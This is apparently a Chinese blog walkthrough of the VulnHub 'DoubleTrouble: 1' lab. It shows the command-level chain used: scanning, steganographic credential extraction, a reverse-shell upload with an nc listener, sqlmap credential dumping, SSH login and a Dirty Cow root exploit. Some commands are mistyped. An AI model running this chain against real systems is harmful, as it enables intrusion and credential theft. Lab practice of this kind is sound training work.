DOUBLETROUBLE 1

news2024/11/21 1:40:54

文章目录

      • DOUBLETROUBLE: 1实战演练
          • 一、前期准备
            • 1、相关信息
          • 二、信息收集
            • 1、nmap探测目标靶机端口
            • 2、扫描目标网址目录
            • 3、访问网站，发现secret下有个图片
            • 4、将图片下载
            • 5、查看图片所含内容
            • 6、破解密码并查看
            • 7、登陆邮箱
            • 8、创建反弹shell
            • 9、上传反弹shell
            • 10、监听
            • 11、写入交互式shell
          • 三、提权
            • 1、查看权限并提权
            • 2、查看文件
            • 3、下载镜像文件
            • 4、安装镜像
          • 四、信息收集
            • 1、nmap探测目标靶机端口
            • 2、访问网站
            • 3、利用sqlmap注入
            • 4、获取数据库
            • 5、获取表名
            • 6、获取列名
            • 7、获取字段值
            • 8、SSH远程登陆
          • 五、提权
            • 1、查看文件
            • 2、查看系统信息内核
            • 3、编译源码
            • 4、切换用户并查看文件

DOUBLETROUBLE: 1实战演练

一、前期准备
1、相关信息

靶机网站：https://www.vulnhub.com/entry/doubletrouble-1,743/

设备名称IP地址
靶机：DOUBLETROUBLE: 1192.168.0.108
攻击机：kali192.168.0.112
二、信息收集
1、nmap探测目标靶机端口
kali@kali：~$ nmap -A 192.168.0.108

# 开放SSH：22、WEB：80端口

在这里插入图片描述

2、扫描目标网址目录
kali@kali：~$ sudo dirsearch -u "http://192.168.0.108/"

在这里插入图片描述

3、访问网站，发现secret下有个图片
http://192.168.0.108/secret/

在这里插入图片描述

4、将图片下载
kali@kali：~$ http://192.168.0.108/secret/doubletrouble.jpg

在这里插入图片描述

5、查看图片所含内容
kali@kali：~$ steghide --info doubletrouble.jpg

# 发现有密码

在这里插入图片描述

6、破解密码并查看
kali@kali：~$ steghide doubletrouble.jpg rouckyou.txt -xf 密码.txt

# 邮箱：otisrush@localhost.com
# 密码：otis666

在这里插入图片描述

7、登陆邮箱

在这里插入图片描述

8、创建反弹shell

网址：https://www.revshells.com/
在这里插入图片描述

9、上传反弹shell

在这里插入图片描述

10、监听
http://192.168.0.108/uploads/users/

kali@kali：~$ nc -lvnp 9001

在这里插入图片描述

在这里插入图片描述

11、写入交互式shell
$ python -c "import pty;pty.spawn('/bin/bash')"
三、提权
1、查看权限并提权
www-data@doubletrouble:/$ sudo -l

在这里插入图片描述

2、查看文件
root@doubletrouble:~# ls

# 发现一个镜像文件

在这里插入图片描述

3、下载镜像文件
root@doubletrouble:~# python3 -m http.server

http://192.168.0.108:8000

在这里插入图片描述
在这里插入图片描述

4、安装镜像
四、信息收集
1、nmap探测目标靶机端口
kali@kali：~$ nmap -A 192.168.0.109

# 开放SSH：22、WEB：80端口

在这里插入图片描述

2、访问网站
http://192.168.0.109

在这里插入图片描述

3、利用sqlmap注入
kali@kali：~$ sqlmap -u "http://192.168.0.109/" --forms --batch

在这里插入图片描述

4、获取数据库
kali@kali：~$ sqlmap -u "http://192.168.0.109/" --forms --dbs --batch

在这里插入图片描述

5、获取表名
kali@kali：~$ sqlmap -u "http://192.168.0.109/" --forms -D doubletrouble --tables --batch

在这里插入图片描述

6、获取列名
kali@kali：~$ sqlmap -u "http://192.168.0.109/" --forms -D doubletrouble -T users --columns --batch

在这里插入图片描述

7、获取字段值
kali@kali：~$ sqlmap -u "http://192.168.0.109/" --forms -D doubletrouble -T users -C username,password --batch

# 第一个用户
# 用户名：montreux	密码：GfsZxc1
# 第二个用户
# 用户名：clapton	密码：ZubZub99

在这里插入图片描述

8、SSH远程登陆
# 利用获取的账号密码从SSH开放的端口登陆
# 第一个用户名登录
kali@kali:~$ssh montreux@192.168.0.109
# 第二个用户吗登录
kali@kali:~$ssh clapton@192.168.0.109

在这里插入图片描述

五、提权
1、查看文件
clapton@doubletrouble:~$ ls
clapton@doubletrouble:~$ cat user.txt

在这里插入图片描述

2、查看系统信息内核

源码地址：https://github.com/FireFart/dirtycow/blob/master/dirty.c

clapton@doubletrouble:~$ uname -a

# 发现内核版本为3.2.X，有Dirty Cow漏洞

在这里插入图片描述

3、编译源码
# 将源码复制到nano dirty.c中，并创建一个root密码

clapton@doubletrouble:~$ nano dirty.c
clapton@doubletrouble:~$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:~$./dirty root

# 部分源码，全部源码见上方源码地址
# 用户名：firefart	密码：root

在这里插入图片描述

在这里插入图片描述

4、切换用户并查看文件
clapton@doubletrouble:~$ su firefart
firefart@doubletrouble:/home/clapton# ls
firefart@doubletrouble:/home/clapton# cd
firefart@doubletrouble:~# ls
firefart@doubletrouble:~# cat root.txt

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/562171.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【云计算架构】通过新的优化视角查看云架构

【云计算架构】通过新的优化视角查看云架构

仅仅让云部署工作不再是目标。关注构建和部署最佳解决方案的新指标和方法。 随着云计算架构的成熟，我们定义成功的方式也应该成熟。在2021，我指出，优化云计算更多的是二进制过程，而不是模拟过程。 我当时所说的仍然是正确的&#…
阅读更多...
【医学图像】图像分割系列.1

【医学图像】图像分割系列.1

医学图像分割是一个比较有应用意义的方向，本文简单介绍三篇关于医学图像分割的论文： UNeXt（MICCAI2022），PHTrans（MICCAI2022），DA-Net（MICCAI2022）。 目录 …
阅读更多...
目标追踪---deepsort原理讲解

目标追踪---deepsort原理讲解

目录 一、多目标追踪的主要步骤 二、sort流程 三、Deepsort算法流程 一、多目标追踪的主要步骤 获取原始视频帧利用目标检测器对视频帧中的目标进行检测将检测到的目标的框中的特征提取出来，该特征包括表观特征（方便特征对比避免ID switch&#xff0…
阅读更多...
SQL语句练习附带答案

SQL语句练习附带答案

首先创建数据库filmclub DROP DATABASE IF EXISTS filmclub;CREATE DATABASE filmclub;USE filmclub;CREATE TABLE category (cid INT PRIMARY KEY AUTO_INCREMENT,cname VARCHAR(20) )CHARSETutf8; CREATE TABLE film (fid INT PRIMARY KEY AUTO_INCREMENT,fname VARCHAR(20)…
阅读更多...
ChatGPT和 dalle2 配合生成故事绘本

ChatGPT和 dalle2 配合生成故事绘本

和 dalle2 配合生成故事绘本 在之前章节中，我们已经尝试过让 ChatGPT 来生成一些故事情节，不管是影视剧还是小说还是游戏都可以。这时候，自然而然的可以联想到：那我们可不可以一步到位，把 ChatGPT 编出来的故事情节&a…
阅读更多...
为什么MySQL数据库单表建议最大2KW数据？

为什么MySQL数据库单表建议最大2KW数据？

文章目录 为什么MySQL数据库单表建议最大2KW数据？一、 Innodb 存储引擎1、数据存储2、数据页的结构 二、 B tree 结构三、 B 树存放数据的行数 为什么MySQL数据库单表建议最大2KW数据？ 我们经常会听到一种说法，在MySQL中，数据库单…
阅读更多...
Spring Security 中的 CSRF 攻击是什么？如何防止它？

Spring Security 中的 CSRF 攻击是什么？如何防止它？

Spring Security 中的 CSRF 攻击是什么？如何防止它？ 什么是 CSRF 攻击？ CSRF（Cross-Site Request Forgery）攻击是一种常见的网络安全威胁，也称为“跨站请求伪造”攻击。攻击者可以通过某些手段&#xff0…
阅读更多...
SpringBoot整合RabbitMQ及其原理分析

SpringBoot整合RabbitMQ及其原理分析

上一篇&#xff1a;RabbitMQ基础知识 1、相关依赖 这里无需指定版本号&#xff0c;让其跟着SpringBoot版本走。本示例使用SpringBoot版本号为2.7.10。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-…
阅读更多...
SaaS系统平台，如何兼顾客户的个性化需求？

SaaS系统平台，如何兼顾客户的个性化需求？

在当今数字化的商业环境中&#xff0c;SaaS系统已经成为企业运营的重要组成部分之一。 SaaS系统平台的好处是显而易见的&#xff0c;可以将业务流程数字化&#xff0c;从而帮助企业提高效率并节省成本。 但是&#xff0c;由于每个企业的业务都不尽相同&#xff0c;所以在选择Sa…
阅读更多...
GuLi商城-前端基础ES6

GuLi商城-前端基础ES6

ES6 ES6全称ECMAScript6.0是JavaScript语言的下一代标准。 ECMAScript是浏览器脚本语言的规范&#xff0c;而我们熟悉的各种js语言&#xff0c;如JavaScript则是规范的具体实 现。 新建一个ES6文件夹&#xff0c;shift!按着不动&#xff0c;回车&#xff0c;可以快速生成模…
阅读更多...
图神经网络：(处理点云)PPFNet的实现

图神经网络：(处理点云)PPFNet的实现

文章说明&#xff1a; 1)参考资料&#xff1a;PYG官方文档。超链。 2)博主水平不高&#xff0c;如有错误还望批评指正。 3)我在百度网盘上传了这篇文章的jupyter notebook和有关文献。超链。提取码8848。 文章目录 前言文献阅读代码实操历史遗留问题 前言 本篇文章接上一篇文章…
阅读更多...
【LeetCode: 410. 分割数组的最大值 | 暴力递归=＞记忆化搜索=＞动态规划 】

【LeetCode: 410. 分割数组的最大值 | 暴力递归=＞记忆化搜索=＞动态规划 】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…
阅读更多...
这七种常见的路由协议，每一个网络工程师都应该知道！

这七种常见的路由协议，每一个网络工程师都应该知道！

你好&#xff0c;这里是网络技术联盟站。 路由协议是网络中非常重要的一个概念&#xff0c;它负责将数据包从源节点传递到目的节点。路由协议定义了网络中不同路由器之间的通信规则和数据传输方式&#xff0c;以便有效地将数据包从源地址传输到目标地址。在网络领域中&#xf…
阅读更多...
基于无人机辅助边缘计算系统的节能卸载策略

基于无人机辅助边缘计算系统的节能卸载策略

源自&#xff1a;《系统工程与电子技术》 作者&#xff1a;余雪勇 朱烨 邱礼翔 朱洪波 摘 要 针对复杂地形中地面基础设施无法有效提供可靠通信和密集算力的问题,首先提出一种基于无人机(unmanned aerial vehicle, UAV)托管计算资源的卸载方案。考虑用户终端的计算需…
阅读更多...
提升网站访问性的10个步骤优化

提升网站访问性的10个步骤优化

第一步，检查 不允许空，不允许过长，简洁明了。 是第一个可以访问到内容的元素，所以一定要非常重视。当用户切换浏览器Tab标签的时候，一定最先听到 标记的内容。Title一定要能代表当前页面的主题。这里的要求和SEO最佳实践几乎一致。 第二步，提供文字替代方案。 走查网页…
阅读更多...
【LeetCode】238. 除自身以外数组的乘积

【LeetCode】238. 除自身以外数组的乘积

238. 除自身以外数组的乘积&#xff08;中等&#xff09; 方法一&#xff1a;左右乘积列表 思路 除了 nums[i] 以外各元素的积&#xff0c;就等同于 nums[i] 左边元素的乘积 * 右边元素的乘积&#xff0c;因此&#xff0c;我们可以计算出两个乘积列表 &#xff0c;最后再经过一…
阅读更多...
2023-05-23 题目

2023-05-23 题目

1、在java中定义一个无参的构造方法的作用&#xff1a; 在java程序执行子类的构造方法之前&#xff0c;如果是没有super()来调用父类的特定的构造方法&#xff0c;则会调用父类中没有参数的构造方法。 如果java中没有定义无参的方法&#xff0c;且没有指定super()方法&#x…
阅读更多...
深眸科技探索AI机器视觉技术，助力密封圈缺陷识别检出率达99.8%

深眸科技探索AI机器视觉技术，助力密封圈缺陷识别检出率达99.8%

密封圈作为一种具有良好性能的密封材料&#xff0c;在工业领域具有极其广泛的应用&#xff0c;在汽车、船舶、管道、家用电器等多行业都能看见它的身影&#xff0c;广阔的市场需求促就密封圈产业的蓬勃发展。 密封圈属于大批量生产&#xff0c;在生产过程中难免会出现瑕疵品&a…
阅读更多...
zabbix监控系统

zabbix监控系统

一、Zabbix概述 1、使用zabbix的原因 作为一个运维&#xff0c;需要会使用监控系统查看服务器状态以及网站流量指标&#xff0c;利用监控系统的数据去了解上线发布的结果&#xff0c;和网站的健康状态。 利用一个优秀的监控软件&#xff0c;我们可以: ●通过一个友好的界面进…
阅读更多...
vue 3.0使用 iframe 标签引入本地HTML页面，并实现数据交互

vue 3.0使用 iframe 标签引入本地HTML页面，并实现数据交互

文章目录 1. 问题总结2. vue中引入html页面3. vue向html传递数据4. html向vue传递数据 1. 问题总结 最近在做vue的项目时候&#xff0c;需要引入本地html页面&#xff0c;中间遇到了很多问题&#xff0c;费时又费力&#xff0c;因此记录下来&#xff0c;以备不时之需&#xff…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023